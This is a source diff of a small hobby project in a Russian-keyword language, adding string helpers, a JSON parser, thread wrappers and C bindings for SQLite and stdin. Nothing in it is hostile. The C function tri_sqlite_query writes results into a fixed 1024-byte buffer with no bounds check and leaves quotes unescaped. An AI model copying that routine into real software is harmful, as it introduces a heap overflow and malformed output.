надо №-старт < длина(замена) иначе прервать
}
сб.добавить строку(строки.извлечь(с8(:Строка), №-старт, длина(с8) - №-старт))
вернуть сб.строка()
}
фн разобрать*(с: Строка, разделитель: Строка): массивы.Строки {
пусть р8 = разделитель(:Строка8)
выбор длина(р8) {
когда 0: вернуть массивы.Строки[с]
когда 1:
вернуть разобрать1(с, р8[0])
другое
авария("не реализовано - длина разделителя > 1")
}
вернуть массивы.Строки[]
}
фн соединить*(разделитель: Строка, строчки: ...Строка): Строка {
вернуть строки.соединить(разделитель, строчки...)
}
фн ф*(формат: Строка, аргументы: ...*): Строка {
пусть сб = строки.Сборщик{}
сб.ф(формат, аргументы...)
вернуть сб.строка()
}
фн разобрать1(с: Строка, разделитель: Байт): массивы.Строки {
пусть рез = массивы.Строки[]
пусть с8 = с(:Строка8)
пусть № := 0
пусть №-разд := -1
пока № < длина(с8) {
если с8[№] = разделитель {
если №-разд + 1 = № {
рез.добавить("")
} иначе {
рез.добавить(tri_substring(с8, №-разд+1, № - №-разд - 1))
}
№-разд := №
}
№++
}
рез.добавить(tri_substring(с8, №-разд+1, длина(с8) - №-разд - 1))
вернуть рез
}
фн собрать*(список строк: ...Строка): Строка {
надо длина(список строк) > 0 иначе вернуть ""
пусть размер := 0
пусть № := 0
пока № < длина(список строк) {
размер := размер + длина(список строк[№](:Строка8))
№++
}
пусть сб = строки.Сборщик{}
№ := 0
пока № < длина(список строк) {
сб.добавить строку(список строк[№])
№++
}
вернуть сб.строка()
}
фн индекс*(с: Строка, №-старт: Цел64, подстрока: Строка): Цел64 {
вернуть строки.индекс(с, №-старт, подстрока)
}
фн извлечь*(с: Строка, №-байта: Цел64, число-байтов: Цел64): Строка {
вернуть строки.извлечь(с, №-байта, число-байтов)
}
фн обрезать пробельные символы*(с: Строка): Строка {
пусть с8 = с(:Строка8)
пусть №1 := 0
пока №1 < длина(с8) {
надо с8[№1] < 0x80(:Байт) иначе прервать
надо юникод.пробельный символ?(с8[№1](:Символ)) иначе прервать
№1++
}
пусть №2 := длина(с8)
пока №2 > №1 {
пусть байт = с8[№2-1]
надо байт < 0x80(:Байт) иначе прервать
надо юникод.пробельный символ?(байт(:Символ)) иначе прервать
№2--
}
вернуть tri_substring(с8, №1, №2 - №1)
}
фн разделить*(с: Строка, разделитель: Строка, первая := Строка, вторая := Строка): Лог {
пусть и = индекс(с, 0, разделитель)
надо и >= 0 иначе {
первая := с
вторая := ""
вернуть ложь
}
пусть с8 = с(:Строка8)
пусть р8 = разделитель(:Строка8)
первая := tri_substring(с8, 0, и)
вторая := tri_substring(с8, и + длина(р8), длина(с8) - (и +длина(р8)))
вернуть истина
}
фн извлечь цел*(с: Строка, №-байта := Цел64, рез := Цел64): Лог {
рез := 0
пусть с8 = с(:Строка8)
надо №-байта < длина(с8) иначе вернуть ложь
пусть нег = с8[№-байта] = '-'(:Байт)
если нег | с8[№-байта] = '+'(:Байт) {
№-байта++
надо №-байта < длина(с8) иначе вернуть ложь
}
пусть сим := с8[№-байта](:Символ)
надо сим >= '0' & сим <= '9' иначе вернуть ложь
пусть число := 0
пока истина {
пусть цифра = сим(:Цел64) - '0'(:Цел64)
// проверка выхода за границу
надо число <= (0x7FFFFFFFFFFFFFFF(:Цел64) - цифра) / 10 иначе вернуть ложь
число := число*10 + цифра
№-байта++
если №-байта >= длина(с8) {
если нег {
число := - число
}
рез := число
вернуть истина
}
сим := с8[№-байта](:Символ)
надо сим >= '0' & сим <= '9' иначе прервать
}
вернуть ложь
}

View File

@@ -0,0 +1,3 @@
модуль струя-внутр
тип Струя* = фн (аргумент: *)

View File

@@ -0,0 +1,21 @@
модуль струя
импорт "исх/струя/струя-внутр"
// c:include "pstruya.h"
фн tri_thread_create(струя: струя-внутр.Струя, аргумент: *): Цел64 @внеш
фн tri_thread_join(ид: Цел64) @внеш
фн tri_thread_detach(ид: Цел64) @внеш
фн новая струя*(струя: струя-внутр.Струя, аргумент: *): Цел64 {
вернуть tri_thread_create(струя, аргумент)
}
фн ждать струю*(ид: Цел64) {
tri_thread_join(ид)
}
фн отсоединить струю*(ид: Цел64) {
tri_thread_detach(ид)
}

View File

@@ -0,0 +1,296 @@
модуль джесон
импорт "стд::строки"
импорт "исх/массивы"
импорт "исх/спринтф"
// да, это тоже цифры. просто поверьте
пусть цифры = массивы.Строки["1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "+"]
тип ДжесонТокен = класс {
}
фн (токен: ДжесонТокен) в строку(): Строка {
вернуть "пустой токен. где вы его взяли вообще?"
}
тип ДжесонТокены = []ДжесонТокен
фн массив токенов в строку(токены: ДжесонТокены): Строка {
пусть рез := ""
цикл [номер]токен среди токены {
рез := строки.собрать(рез, токен.в строку())
}
вернуть рез
}
тип ТокенФигурнаяСкобка = класс(ДжесонТокен) {
закрывающая: Лог := ложь
}
фн (токен: ТокенФигурнаяСкобка) в строку(): Строка {
если токен.закрывающая {
вернуть "}"
} иначе {
вернуть "{"
}
}
тип ТокенКвадратнаяСкобка = класс(ДжесонТокен) {
закрывающая: Лог := ложь
}
фн (токен: ТокенКвадратнаяСкобка) в строку(): Строка {
если токен.закрывающая {
вернуть "]"
} иначе {
вернуть "["
}
}
тип ТокенЗапятая = класс(ДжесонТокен) {
}
фн (токен: ТокенЗапятая) в строку(): Строка {
вернуть ","
}
тип ТокенДвоеточие = класс(ДжесонТокен) {
}
фн (токен: ТокенДвоеточие) в строку(): Строка {
вернуть ":"
}
тип ТокенЧисло = класс(ДжесонТокен) {
значение: Цел64 := 0
}
фн (токен: ТокенЧисло) в строку(): Строка {
вернуть спринтф.ф("$цел", токен.значение)
}
тип ТокенСтрока = класс(ДжесонТокен) {
значение: Строка := ""
}
фн (токен: ТокенСтрока) в строку(): Строка {
пусть строка := строки.заменить все(токен.значение, "\\", "\\\\")
строка := строки.заменить все(строка, "\"", "\\\"")
вернуть спринтф.ф("\"$стр\"", строка)
}
тип ТокенБульБуль = класс(ДжесонТокен) {
значение: Лог := ложь
}
фн (токен: ТокенБульБуль) в строку(): Строка {
если токен.значение {
вернуть "true"
} иначе {
вернуть "false"
}
}
фн съесть символ(стр := Строка, ошибка := Строка): Строка {
пусть символ = посмотреть но не трогать(стр, ошибка)
если ошибка # "" { вернуть "" }
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
вернуть символ
}
фн съесть конкретный символ(стр := Строка, ожидаемый символ: Строка, ошибка := Строка): Строка {
пусть символ = посмотреть конкретный символ но не трогать(стр, ожидаемый символ, ошибка)
если ошибка # "" { вернуть "" }
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
вернуть символ
}
фн посмотреть но не трогать(стр := Строка, ошибка := Строка): Строка {
если длина(стр) = 0 {
ошибка := "нежданный конец строки"
вернуть ""
}
пусть символ := строки.извлечь(стр, 0, 1)
вернуть символ
}
фн посмотреть конкретный символ но не трогать (стр := Строка, ожидаемый символ: Строка, ошибка := Строка): Строка {
если длина(стр) = 0 {
ошибка := спринтф.ф("нежданный конец строки, ожидался символ '$символ'", ожидаемый символ)
вернуть ""
}
пусть символ = строки.извлечь(стр, 0, 1)
если символ # ожидаемый символ {
ошибка := спринтф.ф("ожидался символ '$стр', а пришёл '$символ'", ожидаемый символ, символ)
вернуть ""
}
вернуть символ
}
фн читать число(стр := Строка, ошибка := Строка): Цел64 {
пусть число := ""
пока истина {
пусть символ = посмотреть но не трогать(стр, ошибка)
если ошибка # "" { вернуть 0 }
пусть является цифрой := ложь
пусть является знаком := ложь
цикл [номер]цифра среди цифры {
если символ = цифра {
является цифрой := истина
прервать
}
}
если является цифрой {
число := строки.собрать(число, символ)
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
} иначе {
если длина(число) = 0 {
ошибка := спринтф.ф("ожидалось число, а пришёл '$символ'", символ)
вернуть 0
}
пусть целое := 0
пусть номер байта зачем он тебе нужен вообще глупая машина := 0
пусть мне повезло = строки.извлечь цел(число, номер байта зачем он тебе нужен вообще глупая машина, целое)
если ~мне повезло {
ошибка := спринтф.ф("ошибка преобразования числа '$число'", число)
}
вернуть целое
}
}
вернуть 0
}
фн читать строку(стр := Строка, ошибка := Строка): Строка {
съесть конкретный символ(стр, "\"", ошибка)
если ошибка # "" { вернуть "" }
пусть экран := ложь
пусть строка := ""
пока истина {
пусть символ = съесть символ(стр, ошибка)
если ошибка # "" { вернуть "" }
если символ = "\\" {
экран := ~экран
} иначе если символ = "\"" & ~экран {
вернуть строка
} иначе {
экран := ложь
строка := строки.собрать(строка, символ)
}
}
вернуть строка
}
фн читать буль буль(стр := Строка, ошибка := Строка): Лог {
пусть истинаСтр = "true"
пусть ложьСтр = "false"
если строки.есть префикс(стр, истинаСтр) {
стр := строки.извлечь(стр, длина(истинаСтр(:Строка8)), длина(стр(:Строка8)) - длина(истинаСтр(:Строка8)))
вернуть истина
} иначе если строки.есть префикс(стр, ложьСтр) {
стр := строки.извлечь(стр, длина(ложьСтр(:Строка8)), длина(стр(:Строка8)) - длина(ложьСтр(:Строка8)))
вернуть ложь
} иначе {
пусть символ = посмотреть но не трогать(стр, ошибка)
если ошибка # "" { вернуть ложь }
ошибка := спринтф.ф("ожидалось 'true' или 'false', а пришёл '$символ'", символ)
вернуть ложь
}
}
фн токенизировать(стр: Строка, ошибка := Строка): ДжесонТокены {
пусть токены = ДжесонТокены[]
пусть сколько открыто := 0
пока истина {
если длина(стр) = 0 & сколько открыто = 0 {
прервать
}
пусть символ = посмотреть но не трогать(стр, ошибка)
если ошибка # "" { вернуть ДжесонТокены[] }
пусть является цифрой := ложь
цикл [номер]цифра среди цифры {
если символ = цифра {
является цифрой := истина
прервать
}
}
если символ = " " | символ = "\n" | символ = "\r" | символ = "\t" {
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
} иначе если символ = "{" {
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
токены.добавить(ТокенФигурнаяСкобка{закрывающая: ложь})
сколько открыто := сколько открыто + 1
} иначе если символ = "}" {
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
токены.добавить(ТокенФигурнаяСкобка{закрывающая: истина})
сколько открыто := сколько открыто - 1
} иначе если символ = "[" {
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
токены.добавить(ТокенКвадратнаяСкобка{закрывающая: ложь})
} иначе если символ = "]" {
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
токены.добавить(ТокенКвадратнаяСкобка{закрывающая: истина})
} иначе если символ = "," {
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
токены.добавить(ТокенЗапятая{})
} иначе если символ = ":" {
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
токены.добавить(ТокенДвоеточие{})
} иначе если является цифрой {
пусть число = читать число(стр, ошибка)
если ошибка # "" { вернуть ДжесонТокены[] }
токены.добавить(ТокенЧисло{значение: число})
} иначе если символ = "\"" {
пусть строка = читать строку(стр, ошибка)
если ошибка # "" { вернуть ДжесонТокены[] }
токены.добавить(ТокенСтрока{значение: строка})
} иначе если символ = "t" | символ = "f" {
пусть буль = читать буль буль(стр, ошибка)
если ошибка # "" { вернуть ДжесонТокены[] }
токены.добавить(ТокенБульБуль{значение: буль})
} иначе {
ошибка := спринтф.ф("внезапный символ '$стр'", символ)
вернуть ДжесонТокены[]
}
}
вернуть токены
}

View File

@@ -0,0 +1,259 @@
модуль джесон
импорт "исх/строка"
импорт "исх/спринтф"
фн парсить массив(токены: ДжесонТокены, старт: Цел64, использовано токенов := Цел64, ошибка := Строка): ДжесонМногоЗначений {
пусть массив = ДжесонМногоЗначений{значения: ДжесонЗначения[]}
пусть текущий индекс := старт
если текущий индекс >= длина(токены) {
ошибка := "неожиданный конец, ожидалась ["
вернуть ДжесонМногоЗначений{}
}
пусть токен := токены[текущий индекс]
выбор пусть т: тип токен {
когда ТокенКвадратнаяСкобка:
если т.закрывающая {
ошибка := спринтф.ф("ожидалась [, а получен $стр", токен.в строку())
вернуть ДжесонМногоЗначений{}
} иначе {
текущий индекс++
}
другое
ошибка := спринтф.ф("ожидалась [, а получен $стр", токен.в строку())
вернуть ДжесонМногоЗначений{}
}
пока текущий индекс < длина(токены) {
токен := токены[текущий индекс]
пусть значение: ДжесонЗначение := ДжесонЗначение{}
выбор пусть т: тип токен {
когда ТокенСтрока:
значение := ДжесонСтрока{значение: т.значение}
текущий индекс++
когда ТокенЧисло:
значение := ДжесонЧисло{значение: т.значение}
текущий индекс++
когда ТокенБульБуль:
значение := ДжесонЛог{значение: т.значение}
текущий индекс++
когда ТокенКвадратнаяСкобка:
если т.закрывающая {
текущий индекс++
использовано токенов := текущий индекс - старт
вернуть массив
} иначе {
ошибка := спринтф.ф("ожидалась значение или ], а получен $стр", токен.в строку())
вернуть ДжесонМногоЗначений{}
}
когда ТокенФигурнаяСкобка:
если ~т.закрывающая {
пусть использовано := 0
значение := парсить объект(токены, текущий индекс, использовано, ошибка)
если ошибка # "" { вернуть ДжесонМногоЗначений{} }
текущий индекс := текущий индекс + использовано
}
другое
ошибка := спринтф.ф("неожиданное значение: $стр", токен.в строку())
вернуть ДжесонМногоЗначений{}
}
массив.значения.добавить(значение)
если текущий индекс >= длина(токены) {
ошибка := "неожиданный конец, ожидался , или ]"
вернуть ДжесонМногоЗначений{}
}
токен := токены[текущий индекс]
выбор пусть т: тип токен {
когда ТокенКвадратнаяСкобка:
если т.закрывающая {
текущий индекс++
использовано токенов := текущий индекс - старт
вернуть массив
} иначе {
ошибка := спринтф.ф("ожидалась , или ], а получен $стр", токен.в строку())
вернуть ДжесонМногоЗначений{}
}
когда ТокенЗапятая:
текущий индекс++
другое
ошибка := спринтф.ф("ожидалась , или ], а получен $стр", токен.в строку())
вернуть ДжесонМногоЗначений{}
}
}
ошибка := "неожиданный конец во время парсинга массива"
вернуть ДжесонМногоЗначений{}
}
фн парсить объект(токены: ДжесонТокены, старт: Цел64, использовано токенов := Цел64, ошибка := Строка): ДжесонОбъект {
пусть объект = ДжесонОбъект{}
пусть текущий индекс := старт
если текущий индекс >= длина(токены) {
ошибка := "неожиданный конец, ожидалось {"
вернуть ДжесонОбъект{}
}
пусть токен := токены[текущий индекс]
выбор пусть т: тип токен {
когда ТокенФигурнаяСкобка:
если т.закрывающая {
ошибка := спринтф.ф("ожидалась {, а получен $стр", токен.в строку())
вернуть ДжесонОбъект{}
} иначе {
текущий индекс++
}
другое
ошибка := спринтф.ф("ожидалась {, а получен $стр", токен.в строку())
вернуть ДжесонОбъект{}
}
пока текущий индекс < длина(токены) {
токен := токены[текущий индекс]
пусть ключ := ""
выбор пусть т: тип токен {
когда ТокенСтрока:
ключ := т.значение
текущий индекс++
когда ТокенФигурнаяСкобка:
если т.закрывающая {
текущий индекс++
использовано токенов := текущий индекс - старт
вернуть объект
} иначе {
ошибка := спринтф.ф("ожидалась строка (ключ), а получен $стр", токен.в строку())
вернуть ДжесонОбъект{}
}
другое
ошибка := спринтф.ф("ожидалась строка (ключ), а получен $стр", токен.в строку())
вернуть ДжесонОбъект{}
}
если текущий индекс >= длина(токены) {
ошибка := "неожиданный конец, ожидалось :"
вернуть ДжесонОбъект{}
}
токен := токены[текущий индекс]
выбор пусть т: тип токен {
когда ТокенДвоеточие:
текущий индекс++
другое
ошибка := спринтф.ф("ожидался :, а получен $стр", токен.в строку())
вернуть ДжесонОбъект{}
}
если текущий индекс >= длина(токены) {
ошибка := "неожиданный конец, ожидалось значение"
вернуть ДжесонОбъект{}
}
токен := токены[текущий индекс]
пусть значение: ДжесонЗначение := ДжесонЗначение{}
выбор пусть т: тип токен {
когда ТокенСтрока:
значение := ДжесонСтрока{значение: т.значение}
текущий индекс++
когда ТокенЧисло:
значение := ДжесонЧисло{значение: т.значение}
текущий индекс++
когда ТокенБульБуль:
значение := ДжесонЛог{значение: т.значение}
текущий индекс++
когда ТокенФигурнаяСкобка:
если ~т.закрывающая {
пусть использовано := 0
значение := парсить объект(токены, текущий индекс, использовано, ошибка)
если ошибка # "" { вернуть ДжесонОбъект{} }
текущий индекс := текущий индекс + использовано
} иначе {
ошибка := спринтф.ф("ожидалось значение, а получен $стр", токен.в строку())
вернуть ДжесонОбъект{}
}
когда ТокенКвадратнаяСкобка:
если т.закрывающая {
ошибка := спринтф.ф("ожидалось значение, а получен $стр", токен.в строку())
вернуть ДжесонОбъект{}
} иначе {
пусть использовано := 0
значение := парсить массив(токены, текущий индекс, использовано, ошибка)
если ошибка # "" { вернуть ДжесонОбъект{} }
текущий индекс := текущий индекс + использовано
}
другое
ошибка := спринтф.ф("неожиданное значение: $стр", токен.в строку())
вернуть ДжесонОбъект{}
}
объект.значения.добавить(ДжесонКлючЗначение{ключ: ключ, значение: значение})
если текущий индекс >= длина(токены) {
ошибка := "неожиданный конец, ожидался , или }"
вернуть ДжесонОбъект{}
}
токен := токены[текущий индекс]
выбор пусть т: тип токен {
когда ТокенЗапятая:
текущий индекс++
когда ТокенФигурнаяСкобка:
если т.закрывающая {
текущий индекс++
использовано токенов := текущий индекс - старт
вернуть объект
} иначе {
ошибка := спринтф.ф("ожидалась , или }, а получен $стр", токен.в строку())
вернуть ДжесонОбъект{}
}
другое
ошибка := спринтф.ф("ожидалась , или }, а получен $стр", токен.в строку())
вернуть ДжесонОбъект{}
}
}
ошибка := "неожиданный конец во время парсинга объекта"
вернуть ДжесонОбъект{}
}
фн парсить токены(токены: ДжесонТокены, ошибка := Строка): ДжесонОбъект {
пусть использовано токенов := 0
вернуть парсить объект(токены, 0, использовано токенов, ошибка)
}
фн парсить*(строка: Строка, ошибка := Строка): ДжесонОбъект {
пусть токены = токенизировать(строка, ошибка)
если ошибка # "" {
вернуть ДжесонОбъект{}
}
пусть объект = парсить токены(токены, ошибка)
если ошибка # "" {
вернуть ДжесонОбъект{}
}
вернуть объект
}
фн сериализовать*(объект: ДжесонОбъект): Строка {
вернуть массив токенов в строку(объект.в токены())
}

View File

@@ -0,0 +1,205 @@
модуль джесон
импорт "исх/строка"
импорт "исх/спринтф"
тип ДжесонЗначение* = класс {
}
фн (значение: ДжесонЗначение) в строку*(): Строка {
вернуть "пустое значение"
}
фн (значение: ДжесонЗначение) в токены(): ДжесонТокены {
авария("попытка преобразовать в токены базовое значение")
}
фн (значение: ДжесонЗначение) пустое*(): Лог {
вернуть истина
}
фн (значение: ДжесонЗначение) строка*(): мб Строка {
вернуть пусто
}
фн (значение: ДжесонЗначение) число*(): мб ДжесонЧисло {
вернуть пусто
}
тип ДжесонЗначения* = []ДжесонЗначение
тип ДжесонСтрока* = класс(ДжесонЗначение) {
значение*: Строка := ""
}
фн (строка: ДжесонСтрока) в строку*(): Строка {
вернуть спринтф.ф("\"$стр\"", строка.значение)
}
фн (строка: ДжесонСтрока) в токены(): ДжесонТокены {
вернуть ДжесонТокены[ТокенСтрока{значение: строка.значение}]
}
фн (строка: ДжесонСтрока) пустое*(): Лог {
вернуть ложь
}
фн (строка: ДжесонСтрока) строка*(): мб Строка {
вернуть строка.значение
}
тип ДжесонЧисло* = класс(ДжесонЗначение) {
значение*: Цел64 := 0
}
фн (число: ДжесонЧисло) в строку*(): Строка {
вернуть спринтф.ф("$цел", число.значение)
}
фн (число: ДжесонЧисло) в токены(): ДжесонТокены {
вернуть ДжесонТокены[ТокенЧисло{значение: число.значение}]
}
фн (число: ДжесонЧисло) пустое*(): Лог {
вернуть ложь
}
фн (число: ДжесонЧисло) число*(): мб ДжесонЧисло {
вернуть число
}
тип ДжесонЛог* = класс(ДжесонЗначение) {
значение*: Лог := ложь
}
фн (лог: ДжесонЛог) в строку*(): Строка {
если лог.значение {
вернуть "истина"
}
вернуть "ложб"
}
фн (лог: ДжесонЛог) в токены(): ДжесонТокены {
вернуть ДжесонТокены[ТокенБульБуль{значение: лог.значение}]
}
фн (лог: ДжесонЛог) пустое*(): Лог {
вернуть ложь
}
тип ДжесонМногоЗначений* = класс(ДжесонЗначение) {
значения*: ДжесонЗначения = ДжесонЗначения[]
}
фн (значения: ДжесонМногоЗначений) в строку*(): Строка {
пусть выходная строка := ""
цикл [номер]значение среди значения.значения {
если номер > 0 {
выходная строка := спринтф.ф("$стр, ", выходная строка)
}
выходная строка := строка.собрать(выходная строка, значение.в строку())
}
вернуть спринтф.ф("[$стр]", выходная строка)
}
фн (значения: ДжесонМногоЗначений) в токены(): ДжесонТокены {
пусть токены = ДжесонТокены[ТокенКвадратнаяСкобка{закрывающая: ложь}]
цикл [номер]значение среди значения.значения {
если номер > 0 {
токены.добавить(ТокенЗапятая{})
}
токены.добавить(значение.в токены()...)
}
токены.добавить(ТокенКвадратнаяСкобка{закрывающая: истина})
вернуть токены
}
фн (значения: ДжесонМногоЗначений) пустое*(): Лог {
вернуть длина(значения.значения) = 0
}
тип ДжесонОбъект* = класс(ДжесонЗначение) {
значения*: ДжесонКлючЗначения := ДжесонКлючЗначения[]
}
фн (объект: ДжесонОбъект) в строку*(): Строка {
пусть выходная строка := ""
цикл [номер]значение среди объект.значения {
если номер > 0 {
выходная строка := спринтф.ф("$стр,\n", выходная строка)
} иначе {
выходная строка := спринтф.ф("\n$стр", выходная строка)
}
выходная строка := строка.собрать(выходная строка, спринтф.ф("\"$стр\": $стр", значение.ключ, значение.значение.в строку()))
}
вернуть спринтф.ф("{$стр\n}", выходная строка)
}
фн (объект: ДжесонОбъект) в токены(): ДжесонТокены {
пусть токены = ДжесонТокены[ТокенФигурнаяСкобка{закрывающая: ложь}]
цикл [номер]значение среди объект.значения {
если номер > 0 {
токены.добавить(ТокенЗапятая{})
}
токены.добавить(ТокенСтрока{значение: значение.ключ})
токены.добавить(ТокенДвоеточие{})
токены.добавить(значение.значение.в токены()...)
}
токены.добавить(ТокенФигурнаяСкобка{закрывающая: истина})
вернуть токены
}
фн (объект: ДжесонОбъект) пустое*(): Лог {
вернуть ложь
}
фн (объект: ДжесонОбъект) получить*(ключ: Строка): ДжесонЗначение {
пусть количество = длина(объект.значения)
пусть ай := количество - 1
пока ай >= 0 {
пусть значение = объект.значения[ай]
если значение.ключ = ключ {
вернуть значение.значение
}
ай := ай - 1
}
вернуть ДжесонЗначение{}
}
фн (объект: ДжесонОбъект) вставить*(ключ: Строка, новое значение: ДжесонЗначение) {
цикл [номер]значение среди объект.значения {
если значение.ключ = ключ {
объект.значения[номер].значение := новое значение
вернуть
}
}
объект.значения.добавить(ДжесонКлючЗначение{ключ: ключ, значение: новое значение})
}
тип ДжесонКлючЗначение* = класс {
ключ*: Строка := ""
значение*: ДжесонЗначение := позже
}
тип ДжесонКлючЗначения* = []ДжесонКлючЗначение

12
карга.json Normal file
View File

@@ -0,0 +1,12 @@
{
"project_name": "srab",
"target": "linux",
"include_modules": [
{ "c_file": "suckit.c", "c_header": "suckit.h" },
{ "c_file": "sckulya.c", "c_header": "sckulya.h" },
{ "c_file": "pstruya.c", "c_header": "pstruya.h" },
{ "c_file": "stdin.c", "c_header": "stdin.h" }
],
"compiler_flags": ["-pthread"],
"linker_flags": ["-lsqlite3"]
}

46
си/pstruya.c Normal file
View File

@@ -0,0 +1,46 @@
#include "pstruya.h"
typedef struct {
struya_vnutr__TStruya routine;
TTagPair arg;
} tri_thread_launch_compound;
void* tri_thread_wrapper(void* arg) {
tri_thread_launch_compound* compound = (tri_thread_launch_compound*) arg;
compound->routine.func(compound->routine.receiver, compound->arg);
free(compound);
return NULL;
}
int64_t tri_thread_create(struya_vnutr__TStruya routine, TTagPair arg) {
pthread_t thread;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 512 * 1024);
tri_thread_launch_compound* compound = malloc(sizeof(tri_thread_launch_compound));
compound->routine = routine;
compound->arg = arg;
int result = pthread_create(&thread, &attr, tri_thread_wrapper, (void*) compound);
if (result != 0) {
return 0;
}
return (int64_t)(uintptr_t)thread;
}
void tri_thread_join(int64_t thread) {
if (!thread) return;
pthread_join((pthread_t)(uintptr_t)thread, NULL);
}
void tri_thread_detach(int64_t thread) {
if (!thread) return;
pthread_detach((pthread_t)(uintptr_t)thread);
}

14
си/pstruya.h Normal file
View File

@@ -0,0 +1,14 @@
#ifndef STRUYA_H
#define STRUYA_H
#include "rt_api.h"
#include "struya_vnutr.h"
#include <pthread.h>
#include <stdlib.h>
int64_t tri_thread_create(struya_vnutr__TStruya routine, TTagPair arg);
void tri_thread_join(int64_t thread);
void tri_thread_detach(int64_t thread);
#endif // STRUYA_H

160
си/sckulya.c Normal file
View File

@@ -0,0 +1,160 @@
#include "sckulya.h"
int64_t tri_sqlite_open(TString filename, TString *error) {
sqlite3* out_db = 0;
int rc = sqlite3_open((const char*) filename->body, &out_db);
if(rc != SQLITE_OK) {
if(out_db) {
sqlite3_close(out_db);
}
const char* msg = sqlite3_errmsg(out_db);
if(!msg) {
msg = "Unknown error";
}
int64_t len = (int64_t)strlen(msg);
*error = tri_newString(len, len, (char*)msg);
}
sqlite3_busy_timeout(out_db, 5000);
return (int64_t) out_db;
}
int tri_sqlite_close(int64_t db) {
if (!db) return SQLITE_MISUSE;
return sqlite3_close((sqlite3*) db);
}
void tri_sqlite_exec(int64_t db, TString query, TString *error) {
char* errmsg = NULL;
int rc = sqlite3_exec((sqlite3*) db, (const char*) query->body, NULL, NULL, &errmsg);
if (errmsg) {
int64_t len = (int64_t)strlen(errmsg);
*error = tri_newString(len, len, errmsg);
sqlite3_free(errmsg);
}
}
void escape_and_append (const unsigned char *s, char* buf, size_t* len) {
for (; *s; ++s) {
char esc = 0;
switch (*s) {
case '\\': esc = '\\'; break;
case '\b': esc = 'b'; break;
case '\f': esc = 'f'; break;
case '\n': esc = 'n'; break;
case '\r': esc = 'r'; break;
case '\t': esc = 't'; break;
default: break;
}
if (esc) {
buf[(*len)++] = '\\';
buf[(*len)++] = esc;
} else {
buf[(*len)++] = *s;
}
}
};
int tri_sqlite_query(int64_t db, TString query, TString *result, TString *error) {
sqlite3_stmt *stmt = NULL;
int rc = sqlite3_prepare_v2((sqlite3*)db, (const char*) query->body, -1, &stmt, NULL);
if (rc != SQLITE_OK) {
if (error) {
const char *msg = sqlite3_errmsg((sqlite3*)db);
if (!msg) msg = "Unknown error";
int64_t len = (int64_t)strlen(msg);
*error = tri_newString(len, len, (char*)msg);
}
return rc;
}
size_t cap = 1024;
size_t len = 0;
char *buf = malloc(cap);
if (!buf) {
sqlite3_finalize(stmt);
if (error) *error = tri_newString(0,0,"Out of memory");
return SQLITE_NOMEM;
}
buf[len++] = '[';
int first_row = 1;
while ((rc = sqlite3_step(stmt)) == SQLITE_ROW) {
if (!first_row) { buf[len++] = ','; } else first_row = 0;
buf[len++] = '{';
int ncol = sqlite3_column_count(stmt);
for (int i = 0; i < ncol; ++i) {
if (i) { buf[len++] = ','; }
const char *colname = sqlite3_column_name(stmt, i);
/* "colname": */
// strlen(colname) + 4;
buf[len++] = '\"';
escape_and_append((const unsigned char*)colname, buf, &len);
buf[len++] = '\"';
buf[len++] = ':';
int type = sqlite3_column_type(stmt, i);
if (type == SQLITE_INTEGER) {
long long v = sqlite3_column_int64(stmt, i);
char tmp[32];
int n = snprintf(tmp, sizeof(tmp), "%lld", v);
memcpy(buf + len, tmp, n); len += n;
} else if (type == SQLITE_FLOAT) {
double v = sqlite3_column_double(stmt, i);
char tmp[64];
int n = snprintf(tmp, sizeof(tmp), "%g", v);
memcpy(buf + len, tmp, n); len += n;
} else if (type == SQLITE_NULL) {
memcpy(buf + len, "null", 4); len += 4;
} else {
const unsigned char *txt = sqlite3_column_text(stmt, i);
if (!txt) {
memcpy(buf + len, "null", 4); len += 4;
} else {
buf[len++] = '\"';
escape_and_append(txt, buf, &len);
buf[len++] = '\"';
}
}
}
buf[len++] = '}';
}
/* finalize and handle errors */
if (rc != SQLITE_DONE) {
const char *msg = sqlite3_errmsg((sqlite3*)db);
if (error) {
if (!msg) msg = "Unknown error";
int64_t mlen = (int64_t)strlen(msg);
*error = tri_newString(mlen, mlen, (char*)msg);
}
sqlite3_finalize(stmt);
free(buf);
return rc;
}
buf[len++] = ']';
buf[len] = '\0';
sqlite3_finalize(stmt);
if (result) {
*result = tri_newString((int64_t)len, (int64_t)len, buf);
}
free(buf);
return SQLITE_OK;
}

17
си/sckulya.h Normal file
View File

@@ -0,0 +1,17 @@
#ifndef SCKULYA_H
#define SCKULYA_H
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "rt_api.h"
#include <sqlite3.h>
int64_t tri_sqlite_open(TString filename, TString *error);
int tri_sqlite_close(int64_t db);
void tri_sqlite_exec(int64_t db, TString query, TString *error);
int tri_sqlite_query(int64_t db, TString query, TString *result, TString *error);
#endif // SCKULYA_H

34
си/stdin.c Normal file
View File

@@ -0,0 +1,34 @@
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include "rt_api.h"
TString stdin_read_to_string(int bytes) {
if (bytes <= 0) {
return tri_newString(0, 0, "");
}
char* buffer = (char*)malloc((size_t)bytes + 1);
if (!buffer) {
return tri_newString(0, 0, "");
}
ssize_t bytes_read = read(0, buffer, (size_t)bytes);
if (bytes_read < 0) {
bytes_read = 0;
}
TString string = tri_newString((int64_t)bytes_read, (int64_t)bytes_read, buffer);
free(buffer);
return string;
}
// Writes TString data to STDERR (fd 2)
void stderr_write_string(TString data) {
if (!data) return;
char* datastring = (char*)data->body;
if (!datastring) return;
write(2, datastring, (size_t)strlen(datastring));
}

9
си/stdin.h Normal file
View File

@@ -0,0 +1,9 @@
#ifndef STDIN_H
#define STDIN_H
#include "rt_api.h"
TString stdin_read_to_string(int bytes);
void stderr_write_string(TString data);
#endif // STDIN_H

121
си/suckit.c Normal file
View File

@@ -0,0 +1,121 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
